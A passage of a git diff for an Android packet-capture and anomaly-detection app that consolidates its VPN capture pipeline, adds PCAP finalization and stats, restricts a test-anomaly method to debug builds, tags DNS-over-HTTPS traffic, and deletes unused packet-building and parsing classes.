PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE - ) - - return NotificationCompat.Builder(this, CHANNEL_ID) - .setContentTitle("AndroidNet Packet Capture") - .setContentText("Capturing packets with improved forwarding...") - .setSmallIcon(android.R.drawable.ic_menu_info_details) - .setContentIntent(pendingIntent) - .setOngoing(true) - .setCategory(NotificationCompat.CATEGORY_SERVICE) - .build() - } - - override fun onDestroy() { - super.onDestroy() - Log.i(TAG, "🛑 Stopping improved VPN service...") - - isCapturing.set(false) - - // Close all connections - connectionMap.values.forEach { connection -> - connection.isActive = false - connection.socket?.close() - connection.datagramSocket?.close() - } - connectionMap.clear() - - // Close VPN interface - vpnInterface?.close() - - serviceScope.cancel() - - notifyFlutter("VPN_STOPPED", "VPN stopped") - Log.i(TAG, "✅ Improved VPN service stopped") - } -} \ No newline at end of file diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/MainActivity.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/MainActivity.kt index 2c0793d..7f6dfe7 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/MainActivity.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/MainActivity.kt @@ -17,7 +17,9 @@ import io.flutter.plugin.common.EventChannel class MainActivity : FlutterFragmentActivity() { private val CHANNEL = "packet_analyzer" private val VPN_REQUEST_CODE = 1001 - private var pendingVpnAction: String? = null // "startVpn" or "startCapture" + // Both "startVpn" and "startCapture" (enhanced mode) share the ZdtunVpnService + // pipeline, so there's only one pending action to track after a permission grant. + private var pendingVpnAction: String? = null private var biometricPrompt: BiometricPrompt? = null private var pendingBiometricResult: MethodChannel.Result? = null // mainHandler ensures anomaly notifications are posted on the main thread for UI updates @@ -132,17 +134,22 @@ class MainActivity : FlutterFragmentActivity() { result.error("VPN_ERROR", e.message, null) } } + // "Enhanced" capture mode used to run through a second, half-built + // VPN pipeline (CaptureService) that silently dropped every packet + // instead of forwarding it — killing the device's internet connection + // whenever it was used. It's retired; enhanced mode now shares the + // same proven ZdtunVpnService + PacketAnalysisManager pipeline as + // "startVpn"/"stopVpn". "startCapture" -> { try { val vpnIntent = VpnService.prepare(this) if (vpnIntent != null) { - pendingVpnAction = "startCapture" + pendingVpnAction = "startVpn" startActivityForResult(vpnIntent, VPN_REQUEST_CODE) result.success("VPN permission requested") } else { setupAnomalyListener() - val intent = Intent(this, CaptureService::class.java) - intent.action = "START_CAPTURE" + val intent = Intent(this, ZdtunVpnService::class.java) startService(intent) startAnomalyDetection() result.success("Enhanced capture started with anomaly detection") @@ -158,8 +165,8 @@ class MainActivity : FlutterFragmentActivity() { } "stopCapture" -> { try { - val intent = Intent(this, CaptureService::class.java) - intent.action = "STOP_CAPTURE" + val intent = Intent(this, ZdtunVpnService::class.java) + intent.action = "STOP_VPN" startService(intent) stopAnomalyDetection() result.success("Enhanced capture stopped") @@ -244,6 +251,15 @@ class MainActivity : FlutterFragmentActivity() { PacketAnalysisManager.getInstance().stopPcapExport() result.success("PCAP export stopped") } + // Commit 10 — PCAP stats and path exposed to Flutter + "getPcapStats" -> { + result.success(PacketAnalysisManager.getInstance().getPcapStats()) + } + "getCurrentPcapPath" -> { + val stats = PacketAnalysisManager.getInstance().getPcapStats() + val path = stats["currentFilePath"] as? String ?: "" + result.success(path) + } // === NEW ANOMALY DETECTION METHODS === "getAnomalyStatistics" -> { val stats = mapOf( @@ -259,9 +275,15 @@ class MainActivity : FlutterFragmentActivity() { result.success("Anomaly detection system reset") } "generateTestAnomaly" -> { - // Generate a test anomaly for UI testing - generateTestAnomaly() - result.success("Test anomaly generated") + // Debug-only: injects a fake anomaly into the live stream for UI + // testing. Must never be reachable in release builds — it would be + // indistinguishable from a real detection to anything downstream. + if (BuildConfig.DEBUG) { + generateTestAnomaly() + result.success("Test anomaly generated") + } else { + result.error("DEBUG_ONLY", "generateTestAnomaly is unavailable in release builds", null) + } } // COMMIT 12: expose adaptive threshold values to Flutter UI "getThresholdStatus" -> { @@ -468,14 +490,7 @@ class MainActivity : FlutterFragmentActivity() { } } - private fun checkRootAccess(): Boolean { - return try { - val process = Runtime.getRuntime().exec("su -c 'id'") - process.waitFor() == 0 - } catch (e: Exception) { - false - } - } + private fun checkRootAccess(): Boolean = RootChecker.isRooted() private fun startLibpcapCapture(result: MethodChannel.Result) { try { @@ -514,24 +529,12 @@ class MainActivity : FlutterFragmentActivity() { if (resultCode == Activity.RESULT_OK) { Log.i("AndroNet", "VPN permission granted — starting pending action: $pendingVpnAction") try { - when (pendingVpnAction) { - "startVpn" -> { - setupAnomalyListener() - startService(Intent(this, ZdtunVpnService::class.java)) - startAnomalyDetection() - mainHandler.post { - methodChannel.invokeMethod("onVpnPermissionGranted", null) - } - } - "startCapture" -> { - setupAnomalyListener() - val intent = Intent(this, CaptureService::class.java) - intent.action = "START_CAPTURE" - startService(intent) - startAnomalyDetection() - mainHandler.post { - methodChannel.invokeMethod("onVpnPermissionGranted", null) - } + if (pendingVpnAction == "startVpn") { + setupAnomalyListener() + startService(Intent(this, ZdtunVpnService::class.java)) + startAnomalyDetection() + mainHandler.post { + methodChannel.invokeMethod("onVpnPermissionGranted", null) } } } catch (e: Exception) { diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/NativeInterface.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/NativeInterface.kt deleted file mode 100644 index c3a38ad..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/NativeInterface.kt +++ /dev/null @@ -1,123 +0,0 @@ -package com.example.packet_analyzer - -import android.content.Context -import android.os.Environment -import android.util.Log -import io.flutter.plugin.common.MethodChannel -import java.io.File -import java.io.FileOutputStream -import java.net.NetworkInterface - -class NativeInterface { - companion object { - private const val TAG = "NativeInterface" - - // Native library loading removed - using tun2socks AAR instead - - private lateinit var methodChannel: MethodChannel - - @JvmStatic - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - } - - @JvmStatic - fun sendPacketToFlutter( - sourceIp: String, - destIp: String, - sourcePort: Int, - destPort: Int, - protocol: String, - size: Int, - timestamp: String, - payload: String - ) { - val packetData = mapOf( - "sourceIp" to sourceIp, - "destinationIp" to destIp, - "sourcePort" to sourcePort, - "destinationPort" to destPort, - "protocol" to protocol, - "size" to size, - "timestamp" to timestamp, - "payload" to payload - ) - methodChannel.invokeMethod("onPacketReceived", packetData) - } - - @JvmStatic - fun sendStatsToFlutter(statsJson: String) { - methodChannel.invokeMethod("onStatsUpdated", statsJson) - } - - @JvmStatic - fun sendStatusUpdate(isCapturing: Boolean, mode: String) { - val statusData = mapOf( - "status" to if (isCapturing) "Capturing ($mode)" else "Stopped", - "isCapturing" to isCapturing, - "mode" to mode - ) - methodChannel.invokeMethod("onStatusChanged", statusData) - } - - @JvmStatic - fun isDeviceRooted(): Boolean { - val buildTags = android.os.Build.TAGS - if (buildTags != null && buildTags.contains("test-keys")) return true - - val paths = arrayOf( - "/system/app/Superuser.apk", - "/sbin/su", - "/system/bin/su", - "/system/xbin/su", - "/data/local/xbin/su", - "/data/local/bin/su", - "/system/sd/xbin/su", - "/system/bin/failsafe/su", - "/data/local/su", - "/su/bin/su" - ) - if (paths.any { File(it).exists() }) return true - - return try { - Runtime.getRuntime().exec("su") - true - } catch (e: Exception) { - false - } - } - - @JvmStatic - fun getAvailableInterfaces(): List { - return try { - NetworkInterface.getNetworkInterfaces() - .toList() - .map { it.name } - } catch (e: Exception) { - emptyList() - } - } - - // ---- Native JNI functions (commented out - using tun2socks AAR instead) ---- - // @JvmStatic external fun nativeStartRootedCapture(): Boolean - // @JvmStatic external fun nativeStopRootedCapture(): Boolean - // @JvmStatic external fun nativeCleanup() - // @JvmStatic external fun nativeClearPackets() - // @JvmStatic external fun nativePauseCapture() - // @JvmStatic external fun nativeResumeCapture() - // @JvmStatic external fun nativeExportPackets(): ByteArray? - - // ---- Export Packets to Downloads ---- - @JvmStatic - fun exportPackets(context: Context): String? { - return try { - // TODO: Implement export functionality using tun2socks data - Log.w(TAG, "Export function not yet implemented with tun2socks AAR") - null - } catch (e: Exception) { - Log.e(TAG, "Export failed", e) - null - } - } - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/NetHunterService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/NetHunterService.kt index a0adc60..df3abd8 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/NetHunterService.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/NetHunterService.kt @@ -43,16 +43,7 @@ class NetHunterService : Service() { createNotificationChannel() } - private fun isRooted(): Boolean { - return try { - val process = Runtime.getRuntime().exec(arrayOf("su", "-c", "id")) - val result = process.inputStream.bufferedReader().readLine() ?: "" - process.destroy() - result.contains("uid=0") - } catch (e: Exception) { - false - } - } + private fun isRooted(): Boolean = RootChecker.isRooted() override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { val action = intent?.action @@ -212,9 +203,25 @@ class NetHunterService : Service() { } } + // Commit 13 — app swiped from recents while service is running + override fun onTaskRemoved(rootIntent: Intent?) { + Log.i(TAG, "Task removed — finalizing PCAP before death") + try { + PacketAnalysisManager.getInstance().finalizePcap() + } catch (e: Exception) { + Log.e(TAG, "Error finalizing PCAP on task removal: ${e.message}") + } + super.onTaskRemoved(rootIntent) + } + override fun onDestroy() { super.onDestroy() - Log.i(TAG, "🔚 NetHunter Service destroyed") + Log.i(TAG, "NetHunter Service destroyed") + try { + PacketAnalysisManager.getInstance().finalizePcap() + } catch (e: Exception) { + Log.e(TAG, "Error finalizing PCAP: ${e.message}") + } stopLibpcapCapture() } } diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketAnalysisManager.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketAnalysisManager.kt index ad3b638..efd9fff 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketAnalysisManager.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketAnalysisManager.kt @@ -93,16 +93,31 @@ class PacketAnalysisManager(private val context: Context) { } isAnalyzing = false - Log.i(TAG, "🛑 Stopping packet analysis...") + Log.i(TAG, "Stopping packet analysis...") - // Stop PCAP export if running if (isPcapExporting) { - stopPcapExport() + finalizePcap() } managerScope.cancel() } + /** + * Commit 13 — graceful finalization called from onTaskRemoved / onDestroy. + * Ensures ring buffer is drained, section_length patched, fsync issued. + */ + fun finalizePcap() { + if (!isPcapExporting) return + Log.i(TAG, "Finalizing PCAP file (graceful shutdown)") + try { + PcapWriter.stopCapture() + } catch (e: Exception) { + Log.e(TAG, "Error during PCAP finalization: ${e.message}") + } finally { + isPcapExporting = false + } + } + /** * Process a captured packet through all Phase 2 systems */ @@ -131,17 +146,12 @@ class PacketAnalysisManager(private val context: Context) { val destIp = (enrichedPacket["destinationAddress"] ?: enrichedPacket["destinationIp"]) as? String val sourceIp = (enrichedPacket["sourceAddress"] ?: enrichedPacket["sourceIp"]) as? String - Log.d(TAG, "🔍 Looking up domain for destIp=$destIp, sourceIp=$sourceIp") - // Check if destination IP has a known domain if (destIp != null) { val domain = DomainTracker.getDomainForIp(destIp) if (domain != null) { finalPacket["domain"] = domain finalPacket["domainFriendly"] = DomainTracker.getFriendlyName(domain) - Log.d(TAG, "✅ Domain found for $destIp: $domain (${finalPacket["domainFriendly"]})") - } else { - Log.d(TAG, "❌ No domain found for $destIp") } } @@ -150,7 +160,6 @@ class PacketAnalysisManager(private val context: Context) { val sourceDomain = DomainTracker.getDomainForIp(sourceIp) if (sourceDomain != null) { finalPacket["sourceDomain"] = sourceDomain - Log.d(TAG, "✅ Source domain found for $sourceIp: $sourceDomain") } } @@ -161,7 +170,14 @@ class PacketAnalysisManager(private val context: Context) { // 4. PCAP export (if active) if (isPcapExporting && rawPacket != null) { val timestamp = (packetInfo["timestamp"] as? Long) ?: System.currentTimeMillis() - PcapWriter.writePacket(rawPacket, timestamp) + val anomalyScore = (finalPacket["anomalyScore"] as? Double) ?: 0.0 + if (anomalyScore >= 0.5) { + // Annotate flagged packets with EPB option 2988 so Wireshark shows them + val annotation = "anomaly_score=%.2f".format(anomalyScore) + PcapWriter.writeAnnotatedPacket(rawPacket, timestamp, annotation) + } else { + PcapWriter.writePacket(rawPacket, timestamp) + } } // 5. Track for bandwidth calculation @@ -178,6 +194,56 @@ class PacketAnalysisManager(private val context: Context) { } } + /** + * Commit 12 — detect the active capture interface and its link-layer type. + * VPN mode uses tun0 (Raw IP, linktype 101); NetHunter uses wlan0/rmnet0 (Ethernet, linktype 1). + */ + private fun detectCaptureInterface(): Pair { + val preferenceOrder = listOf("tun0", "wlan0", "wlan1", "rmnet0", "rmnet_data0", "eth0") + return try { + val activeNames = java.net.NetworkInterface.getNetworkInterfaces() + ?.toList() + ?.filter { it.isUp && !it.isLoopback } + ?.map { it.name } + ?: emptyList() + for (iface in preferenceOrder) { + if (iface in activeNames) { + val linktype = if (iface == "tun0") 101 else 1 + Log.i(TAG, "Capture interface: $iface (linktype=$linktype)") + return Pair(iface, linktype) + } + } + Pair("tun0", 101) + } catch (e: Exception) { + Log.e(TAG, "Interface detection error: ${e.message}") + Pair("tun0", 101) + } + } + + /** + * Commit 10 — expose pcapng writer stats to Flutter MethodChannel. + */ + fun getPcapStats(): Map { + return try { + val native = PcapWriter.getStats() + val filePath = native["filepath"] as? String ?: "" + val fileSize = if (filePath.isNotEmpty()) File(filePath).length() else 0L + mapOf( + "currentFilePath" to filePath, + "currentFileSizeMB" to String.format("%.2f", fileSize / (1024.0 * 1024.0)), + "totalPacketsWritten" to (native["packetCount"] ?: 0), + "droppedPackets" to (native["droppedPackets"] ?: 0), + "rotationCount" to (native["rotationCount"] ?: 0), + "captureStartTime" to (native["captureStartTime"] ?: 0L), + "currentFileStartTime" to (native["currentFileStartTime"] ?: 0L), + "isExporting" to isPcapExporting + ) + } catch (e: Exception) { + Log.e(TAG, "Error getting PCAP stats: ${e.message}") + mapOf("isExporting" to isPcapExporting) + } + } + /** * Start exporting packets to PCAP file */ @@ -196,7 +262,8 @@ class PacketAnalysisManager(private val context: Context) { val pcapFilename = filename ?: PcapWriter.generateFilename() val outputPath = File(andronetDir, pcapFilename).absolutePath - val success = PcapWriter.startCapture(outputPath, linktype = 101) // Raw IP + val (ifName, linktype) = detectCaptureInterface() + val success = PcapWriter.startCapture(outputPath, linktype = linktype, ifName = ifName) if (success) { isPcapExporting = true @@ -417,13 +484,10 @@ class PacketAnalysisManager(private val context: Context) { } if (payloadStart >= packet.size) { - Log.d(TAG, "⚠️ No payload: payloadStart=$payloadStart >= packetSize=${packet.size}, protocol=$protocol, transportProtocol=$transportProtocol") return null } - val extractedPayload = packet.copyOfRange(payloadStart, packet.size) - Log.d(TAG, "✅ Payload extracted: size=${extractedPayload.size} bytes, protocol=$protocol, transportProtocol=$transportProtocol") - return extractedPayload + return packet.copyOfRange(payloadStart, packet.size) } catch (e: Exception) { Log.e(TAG, "Error extracting payload: ${e.message}") diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketBuilder.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketBuilder.kt deleted file mode 100644 index ddb670a..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketBuilder.kt +++ /dev/null @@ -1,320 +0,0 @@ -package com.example.packet_analyzer - -import java.nio.ByteBuffer -import java.nio.ByteOrder - -/** - * Packet construction utilities for building IP/TCP/UDP packets - * Based on PCAPdroid's packet handling approach - */ -object PacketBuilder { - - /** - * Build complete IPv4 + TCP packet with payload - */ - fun buildTcpPacket( - sourceIP: String, - destIP: String, - sourcePort: Int, - destPort: Int, - seqNum: Long, - ackNum: Long, - flags: Int, - payload: ByteArray = byteArrayOf() - ): ByteArray { - val ipHeader = buildIpv4Header( - sourceIP = sourceIP, - destIP = destIP, - protocol = 6, // TCP - totalLength = 20 + 20 + payload.size // IP header + TCP header + payload - ) - - val tcpHeader = buildTcpHeader( - sourcePort = sourcePort, - destPort = destPort, - seqNum = seqNum, - ackNum = ackNum, - flags = flags, - payloadLength = payload.size - ) - - // Calculate TCP checksum with pseudo-header - val tcpChecksum = calculateTcpChecksum( - sourceIP = sourceIP, - destIP = destIP, - tcpHeader = tcpHeader, - payload = payload - ) - - // Insert checksum into TCP header - tcpHeader[16] = (tcpChecksum shr 8).toByte() - tcpHeader[17] = (tcpChecksum and 0xFF).toByte() - - // Calculate IP checksum - val ipChecksum = calculateChecksum(ipHeader, 0, 20) - ipHeader[10] = (ipChecksum shr 8).toByte() - ipHeader[11] = (ipChecksum and 0xFF).toByte() - - // Combine all parts - return ipHeader + tcpHeader + payload - } - - /** - * Build complete IPv4 + UDP packet with payload - */ - fun buildUdpPacket( - sourceIP: String, - destIP: String, - sourcePort: Int, - destPort: Int, - payload: ByteArray - ): ByteArray { - val ipHeader = buildIpv4Header( - sourceIP = sourceIP, - destIP = destIP, - protocol = 17, // UDP - totalLength = 20 + 8 + payload.size // IP header + UDP header + payload - ) - - val udpHeader = buildUdpHeader( - sourcePort = sourcePort, - destPort = destPort, - length = 8 + payload.size - ) - - // Calculate UDP checksum with pseudo-header - val udpChecksum = calculateUdpChecksum( - sourceIP = sourceIP, - destIP = destIP, - udpHeader = udpHeader, - payload = payload - ) - - // Insert checksum into UDP header - udpHeader[6] = (udpChecksum shr 8).toByte() - udpHeader[7] = (udpChecksum and 0xFF).toByte() - - // Calculate IP checksum - val ipChecksum = calculateChecksum(ipHeader, 0, 20) - ipHeader[10] = (ipChecksum shr 8).toByte() - ipHeader[11] = (ipChecksum and 0xFF).toByte() - - // Combine all parts - return ipHeader + udpHeader + payload - } - - /** - * Build IPv4 header (20 bytes) - */ - private fun buildIpv4Header( - sourceIP: String, - destIP: String, - protocol: Int, - totalLength: Int - ): ByteArray { - val header = ByteArray(20) - val buffer = ByteBuffer.wrap(header) - - // Version (4) + IHL (5) = 0x45 - buffer.put(0x45.toByte()) - - // Type of Service - buffer.put(0x00.toByte()) - - // Total Length - buffer.putShort(totalLength.toShort()) - - // Identification - buffer.putShort(0x0000.toShort()) - - // Flags + Fragment Offset - buffer.putShort(0x4000.toShort()) // Don't Fragment - - // TTL - buffer.put(64.toByte()) - - // Protocol - buffer.put(protocol.toByte()) - - // Header Checksum (will be calculated later) - buffer.putShort(0x0000.toShort()) - - // Source IP - val srcIP = ipStringToBytes(sourceIP) - buffer.put(srcIP) - - // Destination IP - val dstIP = ipStringToBytes(destIP) - buffer.put(dstIP) - - return header - } - - /** - * Build TCP header (20 bytes minimum) - */ - private fun buildTcpHeader( - sourcePort: Int, - destPort: Int, - seqNum: Long, - ackNum: Long, - flags: Int, - payloadLength: Int - ): ByteArray { - val header = ByteArray(20) - val buffer = ByteBuffer.wrap(header) - - // Source Port - buffer.putShort(sourcePort.toShort()) - - // Destination Port - buffer.putShort(destPort.toShort()) - - // Sequence Number - buffer.putInt(seqNum.toInt()) - - // Acknowledgment Number - buffer.putInt(ackNum.toInt()) - - // Data Offset (5 = 20 bytes) + Reserved + Flags - val dataOffsetAndFlags = (5 shl 12) or flags - buffer.putShort(dataOffsetAndFlags.toShort()) - - // Window Size - buffer.putShort(8192.toShort()) // 8KB window - - // Checksum (will be calculated later) - buffer.putShort(0x0000.toShort()) - - // Urgent Pointer - buffer.putShort(0x0000.toShort()) - - return header - } - - /** - * Build UDP header (8 bytes) - */ - private fun buildUdpHeader( - sourcePort: Int, - destPort: Int, - length: Int - ): ByteArray { - val header = ByteArray(8) - val buffer = ByteBuffer.wrap(header) - - // Source Port - buffer.putShort(sourcePort.toShort()) - - // Destination Port - buffer.putShort(destPort.toShort()) - - // Length - buffer.putShort(length.toShort()) - - // Checksum (will be calculated later) - buffer.putShort(0x0000.toShort()) - - return header - } - - /** - * Calculate TCP checksum including pseudo-header - */ - private fun calculateTcpChecksum( - sourceIP: String, - destIP: String, - tcpHeader: ByteArray, - payload: ByteArray - ): Int { - // Build pseudo-header - val pseudoHeader = ByteArray(12) - val buffer = ByteBuffer.wrap(pseudoHeader) - - buffer.put(ipStringToBytes(sourceIP)) - buffer.put(ipStringToBytes(destIP)) - buffer.put(0x00.toByte()) - buffer.put(6.toByte()) // TCP protocol - buffer.putShort((tcpHeader.size + payload.size).toShort()) - - // Combine pseudo-header + TCP header + payload - val combined = pseudoHeader + tcpHeader + payload - - return calculateChecksum(combined, 0, combined.size) - } - - /** - * Calculate UDP checksum including pseudo-header - */ - private fun calculateUdpChecksum( - sourceIP: String, - destIP: String, - udpHeader: ByteArray, - payload: ByteArray - ): Int { - // Build pseudo-header - val pseudoHeader = ByteArray(12) - val buffer = ByteBuffer.wrap(pseudoHeader) - - buffer.put(ipStringToBytes(sourceIP)) - buffer.put(ipStringToBytes(destIP)) - buffer.put(0x00.toByte()) - buffer.put(17.toByte()) // UDP protocol - buffer.putShort((udpHeader.size + payload.size).toShort()) - - // Combine pseudo-header + UDP header + payload - val combined = pseudoHeader + udpHeader + payload - - return calculateChecksum(combined, 0, combined.size) - } - - /** - * Calculate Internet checksum (RFC 1071) - */ - private fun calculateChecksum(data: ByteArray, offset: Int, length: Int): Int { - var sum = 0L - var i = offset - - // Add 16-bit words - while (i < offset + length - 1) { - val word = ((data[i].toInt() and 0xFF) shl 8) or (data[i + 1].toInt() and 0xFF) - sum += word - i += 2 - } - - // Add remaining byte if odd length - if (i < offset + length) { - sum += (data[i].toInt() and 0xFF) shl 8 - } - - // Fold 32-bit sum to 16 bits - while (sum shr 16 != 0L) { - sum = (sum and 0xFFFF) + (sum shr 16) - } - - // One's complement - return (sum.inv() and 0xFFFF).toInt() - } - - /** - * Convert IP string to bytes - */ - private fun ipStringToBytes(ip: String): ByteArray { - val parts = ip.split(".") - return ByteArray(4) { i -> - parts.getOrNull(i)?.toIntOrNull()?.toByte() ?: 0 - } - } - - /** - * TCP Flags - */ - object TcpFlags { - const val FIN = 0x01 - const val SYN = 0x02 - const val RST = 0x04 - const val PSH = 0x08 - const val ACK = 0x10 - const val URG = 0x20 - } -} \ No newline at end of file diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketDissector.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketDissector.kt index 7cfa10d..4dfc42f 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketDissector.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketDissector.kt @@ -11,6 +11,29 @@ import java.nio.charset.StandardCharsets object PacketDissector { private const val TAG = "PacketDissector" + // Public DoH resolver hostnames commonly seen as TLS SNI values. Not + // exhaustive — self-hosted/enterprise DoH endpoints won't match — but + // covers the resolvers a phone is realistically configured against. + private val KNOWN_DOH_PROVIDERS = setOf( + "cloudflare-dns.com", + "mozilla.cloudflare-dns.com", + "dns.google", + "dns.google.com", + "doh.opendns.com", + "dns.quad9.net", + "doh.cleanbrowsing.org", + "dns.adguard.com", + "dns-family.adguard.com", + "doh.libredns.gr", + "doh.dns.sb", + "dns.nextdns.io" + ) + + private fun isKnownDohProvider(sni: String): Boolean { + val host = sni.lowercase().removeSuffix(".") + return KNOWN_DOH_PROVIDERS.any { host == it || host.endsWith(".$it") } + } + /** * Dissect a packet and extract application-layer details */ @@ -19,28 +42,26 @@ object PacketDissector { val destPort = (packetInfo["destinationPort"] as? Int) ?: 0 val sourcePort = (packetInfo["sourcePort"] as? Int) ?: 0 - // Debug logging for HTTP/HTTPS - if (protocol == "HTTP" || protocol == "HTTPS" || destPort == 80 || sourcePort == 80 || destPort == 443 || sourcePort == 443) { + if (BuildConfig.DEBUG && (protocol == "HTTP" || protocol == "HTTPS" || destPort == 80 || sourcePort == 80 || destPort == 443 || sourcePort == 443)) { Log.d(TAG, "🔍 HTTP/HTTPS packet: protocol=$protocol, destPort=$destPort, sourcePort=$sourcePort, payloadSize=${payload?.size ?: 0}") } if (payload == null || payload.isEmpty()) { - if (protocol == "HTTP" || protocol == "HTTPS" || destPort == 80 || sourcePort == 80 || destPort == 443 || sourcePort == 443) { - Log.w(TAG, "⚠️ HTTP/HTTPS packet has NO payload! protocol=$protocol") - } return packetInfo } val enrichedInfo = packetInfo.toMutableMap() - // Add payload content (both hex and ASCII) - // Increase limits to capture more data - val payloadHex = payload.joinToString(" ") { byte -> + // Add payload content (both hex and ASCII). Slice to the display limit + // BEFORE formatting, not after — formatting the full payload (which can be + // tens of KB) just to discard most of the resulting string wastes CPU on + // every single packet. + val payloadHex = payload.take(666).joinToString(" ") { byte -> "%02x".format(byte) - }.take(2000) // Increased from 500 to 2000 chars + } // ~2000 chars max (3 chars/byte) val payloadAscii = buildString { - for (byte in payload.take(1000)) { // Increased from 250 to 1000 bytes + for (byte in payload.take(1000)) { val char = byte.toInt() and 0xFF append(if (char in 32..126) char.toChar() else '.') } @@ -50,9 +71,6 @@ object PacketDissector { enrichedInfo["payloadHex"] = payloadHex enrichedInfo["payloadSize"] = payload.size - // Log payload info for debugging - Log.d(TAG, "📦 Payload extracted: protocol=$protocol, size=${payload.size} bytes, destPort=$destPort, sourcePort=$sourcePort") - try { when { @@ -79,7 +97,16 @@ object PacketDissector { val destIp = packetInfo["destinationIp"] as? String ?: packetInfo["destinationAddress"] as? String if (destIp != null) { DomainTracker.recordDnsResolution(sni, destIp) - Log.d(TAG, "🔐 SNI->IP mapping recorded: $sni -> $destIp") + } + + // DNS-over-HTTPS: an HTTPS connection whose SNI is a known + // public DoH resolver is actually carrying DNS queries, not + // web traffic — relevant to a pentester because DoH is a + // common technique for bypassing on-path DNS monitoring. + // Previously "DoH" only existed as an unreachable entry in + // AnomalyDetector's entropy allowlist; nothing ever produced it. + if (isKnownDohProvider(sni)) { + enrichedInfo["appName"] = "DoH" } } } @@ -142,10 +169,21 @@ object PacketDissector { } } - // Analyze payload for files and security risks - val payloadAnalysis = PayloadAnalyzer.analyzePayload(payload, packetInfo) - if (payloadAnalysis.isNotEmpty()) { - enrichedInfo["payloadAnalysis"] = payloadAnalysis + // Analyze payload for files and security risks — skipped for known-encrypted + // traffic, where the payload is ciphertext and file-signature/keyword + // scanning can only ever return noise, not signal, while still costing a + // full-payload string conversion and scan on every packet. + val appName = enrichedInfo["appName"] as? String + val isEncrypted = destPort == 443 || sourcePort == 443 || + destPort == 853 || sourcePort == 853 || + appName == "HTTPS" || appName == "QUIC/HTTP3" || + (appName?.contains("TLS", ignoreCase = true) == true) + + if (!isEncrypted) { + val payloadAnalysis = PayloadAnalyzer.analyzePayload(payload, packetInfo) + if (payloadAnalysis.isNotEmpty()) { + enrichedInfo["payloadAnalysis"] = payloadAnalysis + } } } catch (e: Exception) { @@ -277,7 +315,6 @@ object PacketDissector { val sni = extractSNI(payload) if (sni != null) { result["sni"] = sni - Log.d(TAG, "🌐 SNI extracted from TLS: $sni") } } } @@ -385,8 +422,6 @@ object PacketDissector { resolvedIps.forEach { ip -> DomainTracker.recordDnsResolution(queryName, ip) } - - Log.d(TAG, "🌐 DNS Resolution: $queryName -> ${resolvedIps.joinToString(", ")}") } } catch (e: Exception) { Log.w(TAG, "Could not parse DNS answers: ${e.message}") diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketParser.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketParser.kt deleted file mode 100644 index 2dd0f29..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketParser.kt +++ /dev/null @@ -1,501 +0,0 @@ -package com.example.packet_analyzer - -import android.util.Log -import java.net.InetAddress -import java.nio.ByteBuffer -import java.util.* - -object PacketParser { - - data class PacketInfo( - val timestamp: Long, - val protocol: String, - val sourceIP: String, - val destIP: String, - val sourcePort: Int?, - val destPort: Int?, - val length: Int, - val flags: String?, - val payload: String? - ) - - fun parsePacket(packet: ByteArray): PacketInfo? { - try { - if (packet.size < 20) { - Log.d("PacketParser", "Packet too small: ${packet.size} bytes") - return null - } - - // Validate packet size is reasonable (not corrupted) - if (packet.size > 65535) { - Log.d("PacketParser", "Packet too large (possibly corrupted): ${packet.size} bytes") - return null - } - - val buffer = ByteBuffer.wrap(packet) - - // Parse IP header - val versionAndIHL = buffer.get().toInt() and 0xFF - val version = (versionAndIHL shr 4) and 0xF - - Log.d("PacketParser", "Parsing packet: ${packet.size} bytes, IP version: $version") - - // Handle both IPv4 and IPv6 - return when (version) { - 4 -> parseIPv4Packet(buffer, versionAndIHL) - 6 -> parseIPv6Packet(buffer, packet) - else -> { - Log.d("PacketParser", "Unknown IP version: $version, first bytes: ${packet.take(8).joinToString(" ") { "%02x".format(it) }}") - null - } - } - } catch (e: Exception) { - Log.e("PacketParser", "Error parsing packet: ${e.message}") - return null - } - } - - private fun parseIPv4Packet(buffer: ByteBuffer, versionAndIHL: Int): PacketInfo? { - try { - val ihl = (versionAndIHL and 0xF) * 4 // Internet Header Length in bytes - - buffer.get() // Type of Service - val totalLength = buffer.short.toInt() and 0xFFFF - buffer.short // Identification - buffer.short // Flags and Fragment Offset - buffer.get() // TTL - val protocol = buffer.get().toInt() and 0xFF - buffer.short // Header Checksum - - // Validate total length - if (totalLength > 65535 || totalLength < ihl) { - Log.d("PacketParser", "Invalid IPv4 total length: $totalLength (IHL: $ihl)") - return null - } - - // Source and Destination IP - val sourceIPBytes = ByteArray(4) - buffer.get(sourceIPBytes) - val destIPBytes = ByteArray(4) - buffer.get(destIPBytes) - - val sourceIP = InetAddress.getByAddress(sourceIPBytes).hostAddress - val destIP = InetAddress.getByAddress(destIPBytes).hostAddress - - // DEBUG: Log IP addresses to identify zero IP issue - Log.d("PacketParser", "🔍 IPv4 IPs: Source=${sourceIP}, Dest=${destIP}") - Log.d("PacketParser", "🔍 Raw IP bytes: Source=${sourceIPBytes.joinToString(".") { (it.toInt() and 0xFF).toString() }}, Dest=${destIPBytes.joinToString(".") { (it.toInt() and 